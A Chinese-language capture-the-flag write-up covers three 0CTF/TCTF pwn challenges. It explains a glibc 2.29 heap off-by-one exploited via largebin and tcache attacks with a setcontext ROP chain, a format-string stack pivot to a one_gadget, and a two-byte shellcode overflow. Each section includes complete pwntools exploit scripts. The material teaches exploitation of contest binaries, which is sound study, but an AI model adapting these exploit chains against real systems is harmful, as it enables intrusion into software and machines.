Author: Kirin

0x01 DUET

libc-2.29 程序使用calloc分配heap，只能同时有两个chunk，分配大小：0x80~0x400
程序开启了sandbox:

```
kirin@ubuntu:~/tctf$ seccomp-tools dump ./duet
    __ __ _____________   __   __     ___    _____
   / //_// ____/ ____/ | / /  / /    /   |  / __ )
  / ,<  / __/ / __/ /  |/ /  / /    / /| | / __  |
 / /| |/ /___/ /___/ /|  /  / /___/ ___ |/ /_/ /
/_/ |_/_____/_____/_/ |_/  /_____/_/  |_/_____/

=============== DEUT - 琴瑟和鸣 ===============
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x12 0xc000003e  if (A != ARCH_X86_64) goto 0020
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0f 0xffffffff  if (A != 0xffffffff) goto 0020
 0005: 0x15 0x0d 0x00 0x00000000  if (A == read) goto 0019
 0006: 0x15 0x0c 0x00 0x00000001  if (A == write) goto 0019
 0007: 0x15 0x0b 0x00 0x00000003  if (A == close) goto 0019
 0008: 0x15 0x0a 0x00 0x00000009  if (A == mmap) goto 0019
 0009: 0x15 0x09 0x00 0x0000000a  if (A == mprotect) goto 0019
 0010: 0x15 0x08 0x00 0x0000000c  if (A == brk) goto 0019
 0011: 0x15 0x07 0x00 0x0000000f  if (A == rt_sigreturn) goto 0019
 0012: 0x15 0x06 0x00 0x0000003c  if (A == exit) goto 0019
 0013: 0x15 0x05 0x00 0x000000e7  if (A == exit_group) goto 0019
 0014: 0x15 0x00 0x05 0x00000002  if (A != open) goto 0020
 0015: 0x20 0x00 0x00 0x0000001c  A = flags >> 32 # open(filename,
flags, mode)
 0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
 0017: 0x20 0x00 0x00 0x00000018  A = flags # open(filename, flags,
mode)
 0018: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL
```

拥有一次off-by-one的机会：

```
int __usercall magic@<eax>(__int64 a1@<rbp>, _DWORD *a2@<rdi>)
{
  char v2; // dl
  int result; // eax
  _BYTE *v4; // [rsp-10h] [rbp-10h]
  __int64 v5; // [rsp-8h] [rbp-8h]
```

```
  __asm { endbr64 }
  v5 = a1;
  if ( *a2 != 0x13377331 )
    return puts("Amazing thing happens only once.");
  *a2 = 0;
  v4 = calloc(0x88uLL, 1uLL);
  if ( !v4 )
    _exit(-1);
  printf(&byte_5555555561EF, 1LL);
  v2 = get_num((__int64)&v5);
  result = (_DWORD)v4 + 0x88;
  v4[0x88] = v2;
  return result;
}
```

思路：

- calloc不从tcache中分配chunk，先将需要的chunk size对应的tcache bin填满，构造一个0x88字节的unsortedbin，便可以构造overlapping，这样的话布置好堆空间，就可以使得chunk A能够修改chunk B的header(此时利用unsortedbin的fd已经leak libc address)
- 而后利用largebin attack：先用chunk A修改B的header构造一个0x400大小的堆，而后free B入unsorted bin，分配0x400(chunksize=0x410)，B就会进入largebin，此时可以利用largebin的 fd_nextsize/bk_nextsize 来leak heap address，再次利用A修改B的bk_nextsize到 &ptr-0x20，此时再free一个largebin范围chunk进入unsortedbin，就可以在下次malloc一个小chunk过程中进行largebin attack(原理见源码)，修改ptr到一个堆地址，完成一次任意地址写heap addr
- 考虑到只有两个chunk，且calloc会置0原空间，无法通过写global_max_fast来进行fastbin attack，因为libc-2.29存在vtable check，也没办法覆写vtable
- 考虑直接覆盖掉stderr的chain，在exit调用_IO_flush_all_lockp时尝试劫持程序流**(因为在libc-2.29下_IO_strfile没有了像libc-2.24下的fp->_s._allocate_buffer()这类函数操作，都被修改为了标准函数(malloc...)，所以没办法直接直接像libc-2.24那样直接劫持程序流)**：

因为存在vtable check，所以只能寻找__libc_IO_vtables内的函数，看到：

```
int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags &
_IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
```

```
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
  return EOF;
      else
  {
    char *new_buf;
    char *old_buf = fp->_IO_buf_base;
    size_t old_blen = _IO_blen (fp);
    size_t new_size = 2 * old_blen + 100;
    if (new_size < old_blen)
      return EOF;
    new_buf = malloc (new_size);
    if (new_buf == NULL)
      {
        /*    __ferror(fp) = 1; */
        return EOF;
      }
    if (old_buf)
      {
        memcpy (new_buf, old_buf, old_blen);
        free (old_buf);
        /* Make sure _IO_setb won't try to delete _IO_buf_base. */
        fp->_IO_buf_base = NULL;
      }
    memset (new_buf + old_blen, '\0', new_size - old_blen);

    _IO_setb (fp, new_buf, new_buf + new_size, 1);
    fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
    fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
    fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
    fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

    fp->_IO_write_base = new_buf;
    fp->_IO_write_end = fp->_IO_buf_end;
  }
      }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
```

这里存在malloc、memcpy、free，参数都可以控制

所以考虑在这里进行tcache attack：

在exit前布置好一条tcache bin：chunk A->ptr

构造好两个IO_FILE: X.chain -> Y.chain

这样就可以在_IO_flush_all_lockp时两次进入_IO_str_overflow，第二次的时候调用malloc就会把chunk分配到ptr，而后memcpy，即可进行任意地址写

首先考虑malloc_hook/free_hook：
修改free_hook，第二次memcpy后free就可以劫持程序流，但是**因为存在sandbox，只能栈迁移利用orw来获得flag**，但是此时寄存器空间没有好的gadget来栈迁移
注意到_IO_str_overflow的汇编：

```
.text:00007FFFF7E73AEB                 mov     rdx, [rdi+28h]
.text:00007FFFF7E73AEF
.text:00007FFFF7E73AEF loc_7FFFF7E73AEF:                        ; CODE
XREF: _IO_str_overflow+175↓j
.text:00007FFFF7E73AEF                 mov     r12, [rdi+38h]
.text:00007FFFF7E73AF3                 mov     r15, [rdi+40h]
.text:00007FFFF7E73AF7                 xor     eax, eax
.text:00007FFFF7E73AF9                 mov     ebp, esi
.text:00007FFFF7E73AFB                 mov     rbx, rdi
.text:00007FFFF7E73AFE                 sub     r15, r12
.text:00007FFFF7E73B01                 cmp     esi, 0FFFFFFFFh
.text:00007FFFF7E73B04                 mov     rsi, rdx
.text:00007FFFF7E73B07                 setz    al
.text:00007FFFF7E73B0A                 sub     rsi, [rdi+20h]
.text:00007FFFF7E73B0E                 add     rax, r15
.text:00007FFFF7E73B11                 cmp     rax, rsi
.text:00007FFFF7E73B14                 ja      loc_7FFFF7E73BF0
.text:00007FFFF7E73B1A                 and     ecx, 1
.text:00007FFFF7E73B1D                 jnz     loc_7FFFF7E73C50
.text:00007FFFF7E73B23                 lea     r14, [r15+r15+64h]
.text:00007FFFF7E73B28                 cmp     r15, r14
.text:00007FFFF7E73B2B                 ja      loc_7FFFF7E73C50
.text:00007FFFF7E73B31                 mov     rdi, r14
.text:00007FFFF7E73B34                 call    j_malloc
```

调用malloc前rdx=(rdi+0x28)，rdi=&fake_IO_FILE,此时rdx可控：
所以考虑构造三个fake_IO_FILE,第二个用来修改malloc_hook,第三个用来控制好rdx并利用libc-2.29下的setcontext劫持程序流：

```
.text:00007FFFF7E36E35                 mov     rsp, [rdx+0A0h]
.text:00007FFFF7E36E3C                 mov     rbx, [rdx+80h]
.text:00007FFFF7E36E43                 mov     rbp, [rdx+78h]
.text:00007FFFF7E36E47                 mov     r12, [rdx+48h]
.text:00007FFFF7E36E4B                 mov     r13, [rdx+50h]
.text:00007FFFF7E36E4F                 mov     r14, [rdx+58h]
.text:00007FFFF7E36E53                 mov     r15, [rdx+60h]
.text:00007FFFF7E36E57                 mov     rcx, [rdx+0A8h]
.text:00007FFFF7E36E5E                 push    rcx
.text:00007FFFF7E36E5F                 mov     rsi, [rdx+70h]
.text:00007FFFF7E36E63                 mov     rdi, [rdx+68h]
.text:00007FFFF7E36E67                 mov     rcx, [rdx+98h]
.text:00007FFFF7E36E6E                 mov     r8, [rdx+28h]
.text:00007FFFF7E36E72                 mov     r9, [rdx+30h]
.text:00007FFFF7E36E76                 mov     rdx, [rdx+88h]
```

```
.text:00007FFFF7E36E7D                  xor     eax, eax
.text:00007FFFF7E36E7F                  retn
```

而后dockerfile中flag路径已知，ROP进行orw即可：

```
from pwn import *



#context.log_level="debug"
def instr(i):
   if i==0:
      p.sendlineafter("Instrument: ","\xe7\x90\xb4")
   else:
      p.sendlineafter("Instrument: ","\xe7\x91\x9f")
def add(index,l,note):
    p.sendlineafter(": ","1")
    instr(index)
    p.sendlineafter(": ",str(l))
    p.sendafter(": ",note.ljust(l,"\x00"))

def delete(index):
    p.sendlineafter(": ","2")
    instr(index)

def show(index):
    p.sendlineafter(": ","3")
    instr(index)
def leak(i):
    p.recvuntil(": ")
    p.recv(i)
    return u64(p.recv(8))
def magic(l):
    p.sendlineafter(": ","5")
    p.sendlineafter(": ",str(l))
#p=process("./duet")
p=remote("pwnable.org",12356)
for i in range(7):
    add(0,0x88,"a"*0x88)
    delete(0)
for i in range(7):
    add(0,0x400,"a"*0x400)
    delete(0)
for i in range(7):
    add(0,0x3f8,"a"*0x3f8)
    delete(0)
for i in range(7):
    add(0,0xf8,"a"*0xf8)
    delete(0)
for i in range(7):
    add(0,0x1e8,"a"*0x1e8)
```

```
    delete(0)
for i in range(7):
    add(0,0x108,"a"*0x108)
    delete(0)
for i in range(7):
    add(0,0x178,"a"*0x178)
    delete(0)
add(0,0x88,"a"*0x88)
add(1,0xf8,"1"*0xf8)
delete(0)
magic(0xf1)
add(0,0x178,p64(0)*17+p64(0x21)+p64(0)*3+p64(0x21)+p64(0)*7+p64(0x91)+p
64(0)*17)
delete(1)
add(1,0x108,"1"*0xf8+p64(0x91)+p64(0))
show(0)
libc=leak(0x10)-0x1e4ca0
print hex(libc)

delete(1)
add(1,0x308,"a"*0x270+p64(0)+p64(0x91)+"aaaaaaaa"*16+p64(0))
delete(1)
#delete(0)
add(1,0x1e8,"5"*0xf8+p64(0x401)+p64(libc+0x1e4ca0)*2+p64(0)*27)
delete(0)
add(0,0x3f8,
(p64(0)*29+p64(0x21)+p64(0)*3+p64(0x21)).ljust(0x170,"a")+p64(0)+p64(0x
301)+p64(libc-0x7ffff7de1000+0x7ffff7fc5c30))
delete(0)
add(0,0x400,"")
show(1)
heap=leak(0x110)

payload1=p64(0)*5+p64(heap-0x5555555626c0+0x555555562c70)+p64(heap-
0x5555555626c0+0x555555562c70+334)
payload1+=p64(0)*4+p64(heap-
0x5555555626c0+0x555555562f70)+p64(0)*6+p64(heap-
0x5555555626c0+0x555555562c30)+p64(0)*3+p64(1)
payload1+=p64(0)*2+p64(libc-
0x7ffff7de1000+0x7FFFF7FC7620)+p64(0)*3+p64(0)+p64(1)+p64(0)
payload1+=p64(0)+p64(0x21)+"a"*0x18+p64(0x21)+p64(0)*3+p64(0x21)
payload1+="/flag\x00\x00\x00"
payload1+=p64(libc+0x26542)+p64(heap-
0x5555555626c0+0x555555562cb0)+p64(libc+0x026f9e)+p64(0)+p64(libc+0x47c
f8)+p64(2)+p64(libc-0x7ffff7de1000+0x7FFFF7EEDF7F)
payload1+=p64(libc+0x26542)+p64(3)+p64(libc+0x026f9e)+p64(heap-
0x5555555626c0+0x555555563120)+p64(libc+0x012bda6)+p64(0x30)+p64(libc-
0x7ffff7de1000+0x7FFFF7EEDF70)
payload1+=p64(libc+0x26542)+p64(1)+p64(libc+0x026f9e)+p64(heap-
0x5555555626c0+0x555555563120)+p64(libc+0x012bda6)+p64(0x30)+p64(libc-
0x7ffff7de1000+0x7FFFF7EEE010)
```

```
payload2=p64(0)+p64(0)+p64(0)*2+p64(0)+p64(heap-
0x5555555626c0+0x555555563280)
payload2+=p64(0)+p64(heap-0x5555555626c0+0x555555563090)+p64(heap-
0x5555555626c0+0x555555563090+334)
payload2+=p64(0)*4+p64(heap-
0x5555555626c0+0x555555563120)+p64(0)*6+p64(heap-
0x5555555626c0+0x555555562c30)+p64(0)*3+p64(1)
payload2+=p64(0)*2+p64(libc-
0x7ffff7de1000+0x7FFFF7FC7620)+p64(0)*3+p64(0)+p64(1)+p64(0)
payload2+=p64(0)+p64(0x21)+p64(libc-
0x7ffff7de1000+0x07FFFF7E36E35)+"a"*0x10+p64(0x21)+p64(0)*3+p64(0x21)
payload2+=p64(0)*10
payload2+=p64(0)+p64(0)+p64(0)*2+p64(0)+p64(heap-
0x5555555626c0+0x555555563280-0xa0)
payload2+=p64(0)+p64(heap-0x5555555626c0+0x555555563090)+p64(heap-
0x5555555626c0+0x555555563090+334)
payload2+=p64(0)*4+p64(heap-
0x5555555626c0+0x5555555630d0)+p64(0)*6+p64(heap-
0x5555555626c0+0x555555562c30)+p64(0)*3+p64(1)
payload2+=p64(0)*2+p64(libc-
0x7ffff7de1000+0x7FFFF7FC7620)+p64(0)*3+p64(0)+p64(1)+p64(0)
payload2+=p64(0)+p64(0x21)+p64(libc-
0x7ffff7de1000+0x7ffff7e642f0)+"a"*0x10+p64(0x21)+p64(0)*3+p64(0x21)
payload2+=p64(heap-0x5555555626c0+0x555555562cb0)+p64(libc+0x26542)

delete(0)
add(0,0x400,payload1)
delete(1)
add(1,0x1e8,"5"*0xf8+p64(0x401)+p64(libc-
0x7ffff7de1000+0x00007ffff7fc6090)*2+p64(heap-
0x5555555626c0+0x005555555626c0)+p64(libc-
0x7ffff7de1000+0x7ffff7fc66c8))
delete(1)
add(1,0x400,payload2)
#gdb.attach(p)
delete(0)
add(0,0x158,"7"*0x158)
print hex(heap),hex(libc)
p.sendlineafter(": ","6")
p.interactive()
```

0x02 simple echoserver

```
kirin@ubuntu:~/tctf$ checksec ./simple_echoserver.dms
[*] '/home/kirin/tctf/simple_echoserver.dms'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

保护全开，存在格式化字符串漏洞：

```
int __fastcall out_info(__int64 a1)
{
  snprintf(user_info, 0x100uLL, "[USER] name: %s; phone: %ld\n", a1, *
(_QWORD *)(a1 + 256));
  return fprintf(stderr, user_info);
}
```

但是远程将stderr关闭/重定向了，没办法输出信息
考虑修改stderr._fileno=1来进行leak
所以先要在栈中构造一个stderr._fileno的地址
breakpoint到fprintf，查看栈空间：

```
pwndbg> x/50xg $rsp
0x7fffffffddb8: 0x000055555555541a  0x0000000000000000
0x7fffffffddc8: 0x0000555555558160  0x00007fffffffdef0
0x7fffffffddd8: 0x0000555555555443  0x0000000000000000
0x7fffffffdde8: 0x0000000000000000  0x00007fffffffdef0
0x7fffffffddf8: 0x00007ffff7dcfa00  0x0000000000000d68
0x7fffffffde08: 0x00007ffff7a71148  0x00000000f705fa00
0x7fffffffde18: 0xffffffffffffffff  0x00005555555550f0
0x7fffffffde28: 0x000000000000000a  0x00007fffffffded0
0x7fffffffde38: 0x00005555555550f0  0x00007fffffffdff0
0x7fffffffde48: 0x0000000000000000  0x0000000000000000
0x7fffffffde58: 0x0000555555555348  0x00007ffff7dcfa00
0x7fffffffde68: 0x00007fffffffde74  0x0000000031313131
0x7fffffffde78: 0x00007fffffffdff0  0x0000000000000000
0x7fffffffde88: 0x00007ffff7a723f2  0x0000000000000036
0x7fffffffde98: 0x0000555555558174  0x00007fffffffded0
0x7fffffffdea8: 0x000055555555528d  0x0000010055556029
0x7fffffffdeb8: 0x44b366f1c56b2e00  0x0000000000000000
0x7fffffffdec8: 0x0000000000000000  0x00007fffffffdef0
0x7fffffffded8: 0x00005555555553b3  0x00007fffffffdff0
0x7fffffffdee8: 0x44b366f1c56b2e00  0x00007fffffffdf10
0x7fffffffdef8: 0x00005555555554d0  0x00007fffffffdff0
0x7fffffffdf08: 0x0000000000000000  0x00005555555554e0
0x7fffffffdf18: 0x00007ffff7a05b97  0x0000000000000001
0x7fffffffdf28: 0x00007fffffffdff8  0x0000000100008000
0x7fffffffdf38: 0x00005555555554b2  0x0000000000000000
```

首先要考虑：
需要多次复用来在栈中构造stderr._fileno的地址：第一次修改一个栈地址指向一个包含stderr附近地址(这里选择stdin，ASLR开启下大部分情况stdin和stderr只相差低2字节，爆破概率1/16)的栈地址，而后第二次写0x7fffffffde60处的stdin低字节指向&stderr._fileno-1(便于直接写入1:输出0x100～0x1ff字节即可)，第三次修改stderr._fileno为1，最后一次栈迁移时:这里s1位于栈，有256字节可控，全部布置为one_target(测试0x4f2c5可以)，迁移栈到s1即可：

```
  while ( 1 )
  {
    readline_n(&s1, 256);
    if ( !strcmp(&s1, "~.") )
      break;
    printf("%s\n", &s1);
  }
```

复用：
不能直接使用0x7fffffffdf38处的main，后续会因为栈的对齐问题导致栈错误(类似system的movaps)
看到0x7fffffffdf0位置指向0x00007fffffffdf10：0x00005555555554e0，只需要修改低字节就可以改到main函数
或者，看到栈空间里存在0x00005555555550f0：start
有了能复用的地址后，利用rbp进行栈迁移，但是第一次不能迁移到0x00007fffffffdf10，因为需要进行多次修改才能获得stderr._fileno的地址，如果迁移到原来位置附近，再次调用到fprintf，上一次修改好的地址就会被覆盖掉，所以第一次需要迁移到start位置，这样中间相差的位置的地址就可以留下来多次修改
最后注意一下：

- 栈迁移到含有start的位置，需要那个位置低地址第2字节和原来相同，这样只需要修改最后一字节即可，这种情况下需要1/16次爆破到可行的栈空间，成功后栈空间其实已经确定，也便于后续修改一个栈地址到保存stdin的栈位置，以及最后栈迁移到one_target位置
- 因为需要修改stdin到&stderr._fileno-1，%n能修改的最大值为0x2000，且为了保证stdin和&stderr._fileno-1高4字节都相同，选择：0x16ef

这样一共1/256的几率getshell：

```
from pwn import *


context.log_level="debug"
#name="%"+str(0xb2-0xd)+"c%43$hhn"+"%"+str(0xc8-0xb2)+"c"+"%7$hhn\n"
for i in range(200):
  try:
    name="111%7$hhn%48c%33$hhn\n"
    phone="1111\n"
    p=process("./simple_echoserver.dms")
    #p=remote("pwnable.org",12020)
    #gdb.attach(p)
    p.sendafter("name: ",name)
    p.sendafter("phone: ",phone)
    p.sendafter(" yourself!","~.\n")
    name2="%"+str(0x38-0xd)+"c"+"%7$hhn"+"%"+str(0xb2-
0x38)+"c%43$hhn"+"%"+str(5871-0xb2)+"c%93$hn\n"
    p.recvuntil("Your name: ",timeout=0.1)
    p.send(name2)
    p.sendafter("phone: ",phone)
    p.sendafter(" yourself!","~.\n")
    p.sendafter("name: ","%256c%79$n%243c%7$hhn %12$p\n")
```

```
    p.sendafter("phone: ","111\n")
    p.recvuntil("0x")
    libc=int(p.recv(12),16)-0x7f4dd68b0a00+0x7f4dd64c5000
    print hex(libc)
    p.recvuntil(" yourself!\n")
    p.sendline(p64(libc+0x4f2c5)*32)
    #gdb.attach(p)
    p.sendline("~.")
    p.interactive()
  except:
    p.close()
    print  "fail"
```

0x03 eeeeeeemoji

可以溢出两字节两字节shellcode

只有rdx与mmap的地址有关

且mmap：

```
int do_mmap()
{
  __int64 v0; // ST08_8
  int result; // eax

  v0 = rand() % 1000;
  dest = (wchar_t *)mmap((void *)(v0 << 12), 0x1000uLL, 7, 50, -1,
0LL);
  if ( dest == (wchar_t *)-1LL )
  {
    fputws(&off_15A0, stdout);
    abort();
  }
  result = wprintf(&format, dest);
  byte_202030 = 1;
  return result;
}
```

(rand() % 1000)<<12:地址长度较短

联想到指令xchg：既可以赋值，又可以清空rsp高字节

但是rdx位置没办法可控输入

可控的地方在mmap地址的起始位置：

想到使用and指令，来使得rsp控制为需要的值，只需要and esp,edx，此时高地址清零，只需要esp&edx为一个预期值即可

shellcode在退出时候：

```
.rodata:00000000000013AE                    add     rsp, 8000h      ; DATA
XREF: sub_B91+1FF↑r
```

```
.rodata:00000000000013AE                                        ;
sub_DFE+1FF↑r
.rodata:00000000000013B5                pop     r15
.rodata:00000000000013B7                pop     r14             ; DATA
XREF: sub_B91+206↑r
.rodata:00000000000013B7                                        ;
sub_DFE+206↑r
.rodata:00000000000013B9                pop     r13
.rodata:00000000000013BB                pop     r12
.rodata:00000000000013BD                pop     r11
.rodata:00000000000013BF                pop     r10             ; DATA
XREF: sub_B91+215↑r
.rodata:00000000000013BF                                        ;
sub_DFE+215↑r
.rodata:00000000000013C1                pop     r9
.rodata:00000000000013C3                pop     r8
.rodata:00000000000013C5                pop     rbp
.rodata:00000000000013C6                pop     rsi
.rodata:00000000000013C7                pop     rdi
.rodata:00000000000013C8
.rodata:00000000000013C8 loc_13C8:                              ; DATA
XREF: sub_B91+21C↑r
.rodata:00000000000013C8                                        ;
sub_DFE+21C↑r
.rodata:00000000000013C8                pop     rdx
.rodata:00000000000013C9                pop     rcx
.rodata:00000000000013CA                pop     rbx
.rodata:00000000000013CB                pop     rax
.rodata:00000000000013CC                popfq
.rodata:00000000000013CD                pop     rax
.rodata:00000000000013CE                cmp     rax, rsp        ; DATA
XREF: sub_B91+22B↑r
.rodata:00000000000013CE                                        ;
sub_DFE+22B↑r
.rodata:00000000000013D1                jnz     short near ptr
unk_13D4
.rodata:00000000000013D3                retn
```

所以只需要mmap一个0x8000结尾的地址，and esp,edx时edx结尾为：0x8200
当esp&edx后低地址为0x0000即可在shellcode返回时：add rsp,8000h => rsp就是mmap的起始地址，而后rop链getshell即可，这里因为编码问题，选择先用rop调用read，read一段shellcode进入mmap的空间，而后ret进入即可getshell:

```
from pwn import *

def c(s):
   return s.ljust(4,"\x00").decode('utf-32').encode('utf-8')
def func1():
    m1="\xf0\x9f\x90\xb4"
    p.sendlineafter("miaow\n",m1)
```

```
def mmap():
    m1="\xf0\x9f\x8d\xba"
    p.sendlineafter("miaow\n",m1)
    p.recvuntil("mmap() at @")
    return int(p.recvuntil("\n"),16)
#context.log_level="debug"
context.arch="amd64"
for i in range(1):
  try:
   p=process("./eeeeeemoji")
   #p=remote("pwnable.org",31323)
   s=0
   for i in range(100):
    s=mmap()
    print hex(s)
    if bin(s).count("1")<=2 and (s&0xffff)==0x8000:
         print hex(s)
         break
   func1()
   gdb.attach(p)
   payload= c('X\xc3') +c("\x0f\x05") +'a'*14+c("sh")+c("")
   payload+=c(p32(s+6))+c("\x00")
   payload+=c("")+c("")
   payload+=c("\xf0")+c("")
   payload+=c("")*2
   payload+=c(p32(s+0x88))+c("")
   payload+=c(p32(s+0x88))+c("")
   payload+=c(p32(s+0x88))+c("")
   payload+=c(p32(s+0x88))+c("")
   payload+=c(p32(s))+c("")
   payload+=c(p32(0))+c("")
   payload+=c(p32(s+4))+c("")
   payload+="a"*(0x80-40)
   p.send(payload+c('!\xd4\x00\x00'))
   p.sendlineafter("\x00\x00",asm(shellcraft.sh()))
   p.interactive()
  except:
      print "fail"
```